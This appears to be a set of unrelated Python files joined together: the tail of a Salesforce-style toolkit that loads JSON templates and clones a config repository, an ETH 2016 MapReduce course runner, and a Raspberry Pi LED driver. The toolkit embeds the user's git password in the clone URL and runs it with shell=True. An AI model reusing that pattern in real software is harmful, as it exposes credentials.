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""" img = base64.b64decode(img_b64) return io.BytesIO(img) def StoreMetadataTemplates(): global metadataTemplatesFileName completeName = metadataTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): os.makedirs(directory) metadataTemplatesFileUrl = os.path.join(directory, completeName) metadataTemplatesFile = open(metadataTemplatesFileUrl, "wb") strMetadataTemplates = json.dumps(metadataTemplatesSelection, indent=4, sort_keys=True) binaryMetadataTemplates = strMetadataTemplates.encode() metadataTemplatesFile.write(binaryMetadataTemplates) metadataTemplatesFile.close() ReadMetadataTemplates() def LoadMetadataTemplates(): global metadataTemplatesFileName completeName = metadataTemplatesFileName metadataTemplatesFileUrl = os.path.join(os.path.expanduser("~"), ".dtkconfig", completeName) if not os.path.exists(metadataTemplatesFileUrl): thread = threading.Thread(target=CreateMetadataTemplatesDefault) thread.setDaemon(True) thread.start() else: ReadMetadataTemplates() def ReadMetadataTemplates(): global metadataTemplatesFileName global metadataTemplates global metadataTemplatesSelection completeName = metadataTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): return metadataTemplatesFileUrl = os.path.join(directory, completeName) metadataTemplatesFile = open(metadataTemplatesFileUrl, "r", encoding="utf8") metadataTemplatesSelection = json.loads(metadataTemplatesFile.read()) metadataTemplatesFile.close() metadataTemplates = [] metadataTemplates.append("All") metadataTemplates.append("None") for mdTemplate in metadataTemplatesSelection: metadataTemplates.append(mdTemplate) def CreateMetadataTemplatesDefault(): global metadataTemplatesFileName completeName = metadataTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): os.makedirs(directory) outputFileUrl = os.path.join(directory, completeName) outputFile = open(outputFileUrl, "wb") metadataTemplatesDump = json.dumps(metadataTemplatesSelection, indent=4, sort_keys=True) metadataTemplatesEncoded = metadataTemplatesDump.encode() outputFile.write(metadataTemplatesEncoded) outputFile.close() fileOutput = open(outputFileUrl, "r", encoding="utf8") fileOutput.close() ReadMetadataTemplates() def StoreSOQLTemplates(): global SOQLTemplatesFileName completeName = SOQLTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): os.makedirs(directory) soqlTemplatesFileUrl = os.path.join(directory, completeName) soqlTemplatesFile = open(soqlTemplatesFileUrl, "wb") strSOQLTemplates = json.dumps(soqlDict, indent=4, sort_keys=True) binarySOQLTemplates = strSOQLTemplates.encode() soqlTemplatesFile.write(binarySOQLTemplates) soqlTemplatesFile.close() ReadSOQLTemplates() def LoadSOQLTemplates(): global SOQLTemplatesFileName completeName = SOQLTemplatesFileName soqlTemplatesFileUrl = os.path.join(os.path.expanduser("~"), ".dtkconfig", completeName) if not os.path.exists(soqlTemplatesFileUrl): thread = threading.Thread(target=CreateSOQLTemplatesDefault) thread.setDaemon(True) thread.start() else: ReadSOQLTemplates() def ReadSOQLTemplates(): global SOQLTemplatesFileName global soqlList global soqlDict completeName = SOQLTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): return soqlTemplatesFileUrl = os.path.join(directory, completeName) soqlTemplatesFile = open(soqlTemplatesFileUrl, "r", encoding="utf8") soqlDict = json.loads(soqlTemplatesFile.read()) soqlTemplatesFile.close() soqlList = [] for soqlTemplate in soqlDict: soqlList.append(soqlTemplate) def CreateSOQLTemplatesDefault(): global SOQLTemplatesFileName completeName = SOQLTemplatesFileName directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): os.makedirs(directory) outputFileUrl = os.path.join(directory, completeName) outputFile = open(outputFileUrl, "wb") soqlTemplatesDump = json.dumps(soqlDict, indent=4, sort_keys=True) soqlTemplatesEncoded = soqlTemplatesDump.encode() outputFile.write(soqlTemplatesEncoded) outputFile.close() fileOutput = open(outputFileUrl, "r", encoding="utf8") fileOutput.close() ReadSOQLTemplates() #Accelerate Integration: Load Configuration def LoadAccelerateConfiguration(): directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") AccelerateDeployConfiguration = os.path.join(directory, "AccelerateDeployConfiguration") if os.path.exists(AccelerateDeployConfiguration): shutil.rmtree(AccelerateDeployConfiguration,onerror=RemoveReadonly) global gitPreffix global gitSuffix accelerateGitURLSptl = accelerateGitURL.split("//") if len(accelerateGitURLSptl) > 1: gitPreffix = accelerateGitURLSptl[0] + "//" gitSuffix = accelerateGitURLSptl[1] gitAcceleratelUrl = gitPreffix + accelerateGitUser + ":" + accelerateGitPassword + "@" + gitSuffix if accelerateDevEnableSetting: gitBranch = 'dtkConfiguration4Developers' else: gitBranch = 'dtkConfiguration' cmd = ["git", "clone", "--single-branch", "--branch", gitBranch, gitAcceleratelUrl, AccelerateDeployConfiguration] proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE ) proc.wait() return ReadAccelerateDtkCfg(AccelerateDeployConfiguration) def ReadAccelerateDtkCfg(directory): completeName = "dtkConfiguration.json" orgFileUrl = os.path.join(directory, completeName) if not os.path.exists(orgFileUrl): return False orgFile = open(orgFileUrl, "r", encoding="utf8") global dtkAccelerateCfg dtkAccelerateCfg = json.loads(orgFile.read()) orgFile.close() global accelerateGitBranch global accelerateMetadataGitFolder global acceleratePreDeployScriptFile global acceleratePostDeployScriptFile global accelerateVersion global confluenceURL global activationScriptName global postMasterDataFolder global postMasterDataScript global accelerateModulesAvailable for config in dtkAccelerateCfg: if config == 'gitBranch': accelerateGitBranch = dtkAccelerateCfg[config] elif config == 'metadataGitFolder': accelerateMetadataGitFolder = dtkAccelerateCfg[config] elif config == 'preDeployScriptFile': acceleratePreDeployScriptFile = dtkAccelerateCfg[config] elif config == 'postDeployScriptFile': acceleratePostDeployScriptFile = dtkAccelerateCfg[config] elif config == 'version': accelerateVersion = dtkAccelerateCfg[config] elif config == 'confluenceURL': confluenceURL = dtkAccelerateCfg[config] elif config == 'activationScriptName': activationScriptName = dtkAccelerateCfg[config] elif config == 'postMasterDataFolder': postMasterDataFolder = dtkAccelerateCfg[config] elif config == 'postMasterDataScript': postMasterDataScript = dtkAccelerateCfg[config] elif config == 'modulesAvailable': accelerateModulesAvailable = dtkAccelerateCfg[config] else: print(dtkAccelerateCfg[config]) return True
runner.py
# MIT License # # Copyright (c) 2016 Olivier Bachem # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """Map Reduce Framework for Python (Task3, DM2016) https://project.las.ethz.ch/task3 1. The framework first loads the python source code specified in `sourcefile`. The source should contain a `mapper` and a `reducer` function. The `mapper(key, value)` function takes as input a (key, value) tuple where key is None and value is a string. It should yield (key, value) pairs. The `reducer(key, value)` function takes as input a key and a list of values. It should yield (key, value) pairs. The source of a word count program looks as follows: >>> def mapper(key, value): >>> for i in value.split(): >>> yield i, 1 >>> >>> def reducer(key, values): >>> yield key, sum(values) 2. Implementation details: - Keys produced by the mapper *must* only be strings, ints or floats. - The (key, value) pairs produced by the mapper must be pickable by cPickle (https://docs.python.org/2/library/pickle.html). - The (key, value) pairs produced by the reducer must be convertable to JSON (https://docs.python.org/2/library/json.html?). 3. The training files are then used to run the example. 4. For debugging purposes, logging to STDERR can be enabled using the `--log` or `-l` flag. (c) 2016 Olivier Bachem """ from collections import defaultdict from itertools import chain, islice, izip import argparse import glob import imp import multiprocessing import numpy as np import os import random import sys import logging logger = logging.getLogger(__name__) logging.basicConfig(level=logging.DEBUG) def chunks(iterable, size=10): iterator = iter(iterable) for first in iterator: yield list(chain([first], islice(iterator, size - 1))) def isolated_batch_call(f, arguments): """Calls the function f in a separate process and returns list of results""" def lf(q): result_generator = f(*arguments) result = list(result_generator) q.put(result) q = multiprocessing.Queue() p = multiprocessing.Process(target=lf, args=(q, )) p.start() ret = q.get() p.join() return ret def mapreduce(input, mapper, reducer, batch_size=50, log=False): """Python function that runs a worst-case map reduce framework on the provided data Args: input -- list or generator of (key, value) tuple mapper -- function that takes (key, value) pair as input and returns iterable key-value pairs reducer -- function that takes key + list of values and outputs (key, value) pair log -- whether log messages should be generated (default: False) Returns list of (key, value pairs) """ # Set initial random seed random.seed(0) # Run mappers if log: logger.info("Starting mapping phase!") d = defaultdict(list) for pairs_generator in chunks(input, batch_size): pairs = np.array(pairs_generator) if log: logger.debug(" Running mapper for '%s' key with value '%s'...", k, v) for k2, v2 in isolated_batch_call(mapper, (None, pairs)): # for k2, v2 in mapper(None, pairs): if log: logger.debug(" Mapper produced (%s, %s) pair...", k2, v2) if not isinstance(k2, (basestring, int, float)): raise Exception("Keys must be strings, ints or floats (provided '%s')!"% k2) d[k2].append(v2) if log: logger.info("Finished mapping phase!") # Random permutations of both keys and values. keys = d.keys() random.shuffle(keys) for k in keys: random.shuffle(d[k]) # Run reducers if log: logger.info("Starting reducing phase!") res = [] if len(keys) > 1: raise Exception("Only one distinct key expected from mappers.") k = keys[0] v = np.vstack(d[k]) r = isolated_batch_call(reducer, (k, v)) if log: logger.debug(" Reducer produced %s", r) logger.info("Finished reducing phase!") return r def yield_pattern(path): """Yield lines from each file in specified folder""" for i in glob.iglob(path): if os.path.isfile(i): with open(i, "r") as fin: for line in fin: yield None, line def import_from_file(f): """Import code from the specified file""" mod = imp.new_module("mod") exec f in mod.__dict__ return mod def evaluate(points, centers): score = 0.0 for chunk in chunks(points, 20): batch = np.array(chunk) score += np.square(batch[:,np.newaxis,:] - centers).sum(axis=2).min(axis=1).sum() return score / points.shape[0] def run(sourcestring, training_file, test_file, batch, log): mod = import_from_file(sourcestring) training_data = np.load(training_file) output = mapreduce(training_data, mod.mapper, mod.reducer, batch, log) centers = np.vstack(output) test_data = np.load(test_file) return evaluate(test_data, centers) def main(): parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument( 'train_file', help='File with the training instances') parser.add_argument( 'test_file', help='File with the test instances') parser.add_argument( 'source_file', help='.py file with mapper and reducer function') parser.add_argument( '--log', '-l', help='Enable logging for debugging', action='store_true') args = parser.parse_args() BATCH = 3000 with open(args.source_file, "r") as fin: source = fin.read() print run(source, args.train_file, args.test_file, BATCH, args.log) if __name__ == "__main__": main()
_led.py
"""LED driver""" import itertools import os import threading import time import RPi.GPIO as GPIO class LED: """Starts a background thread to show patterns with the LED. Simple usage: my_led = LED(channel = 31) my_led.start() my_led.set_state(LED.ON) my_led.stop() """ OFF = 0 ON = 1 BLINK = 2 BLINK_3 = 3 BEACON = 4 BEACON_DARK = 5 DECAY = 6 PULSE_SLOW = 7 PULSE_QUICK = 8 def __init__(self, channel): self.animator = threading.Thread(target=self._animate) self.channel = channel self.iterator = None self.running = False self.state = None self.sleep = 0 GPIO.setwarnings(False) GPIO.setmode(GPIO.BOARD) GPIO.setup(channel, GPIO.OUT) self.pwm = GPIO.PWM(channel, 100) self.lock = threading.Lock() def start(self): """Starts the LED driver.""" with self.lock: if not self.running: self.running = True self.pwm.start(0) # off by default self.animator.start() def stop(self): """Stops the LED driver and sets the LED to off.""" with self.lock: if self.running: self.running = False self.animator.join() self.animator.stop() self.pwm.stop() def set_state(self, state): """Sets the LED driver's new state. Note the LED driver must be started for this to have any effect. """ with self.lock: self.state = state def _animate(self): while True: state = None running = False with self.lock: state = self.state self.state = None running = self.running if not running: return if state is not None: if not self._parse_state(state): raise ValueError('unsupported state: %d' % state) if self.iterator: self.pwm.ChangeDutyCycle(next(self.iterator)) time.sleep(self.sleep) else: # We can also wait for a state change here with a Condition. time.sleep(1) def _parse_state(self, state): self.iterator = None self.sleep = 0.0 if state == self.OFF: self.pwm.ChangeDutyCycle(0) return True if state == self.ON: self.pwm.ChangeDutyCycle(100) return True if state == self.BLINK: self.iterator = itertools.cycle([0, 100]) self.sleep = 0.5 return True if state == self.BLINK_3: self.iterator = itertools.cycle([0, 100] * 3 + [0, 0]) self.sleep = 0.25 return True if state == self.BEACON: self.iterator = itertools.cycle( itertools.chain([30] * 100, [100] * 8, range(100, 30, -5))) self.sleep = 0.05 return True if state == self.BEACON_DARK: self.iterator = itertools.cycle( itertools.chain([0] * 100, range(0, 30, 3), range(30, 0, -3))) self.sleep = 0.05 return True if state == self.DECAY: self.iterator = itertools.cycle(range(100, 0, -2)) self.sleep = 0.05 return True if state == self.PULSE_SLOW: self.iterator = itertools.cycle( itertools.chain(range(0, 100, 2), range(100, 0, -2))) self.sleep = 0.1 return True if state == self.PULSE_QUICK: self.iterator = itertools.cycle( itertools.chain(range(0, 100, 5), range(100, 0, -5))) self.sleep = 0.05 return True return False
snmp.py
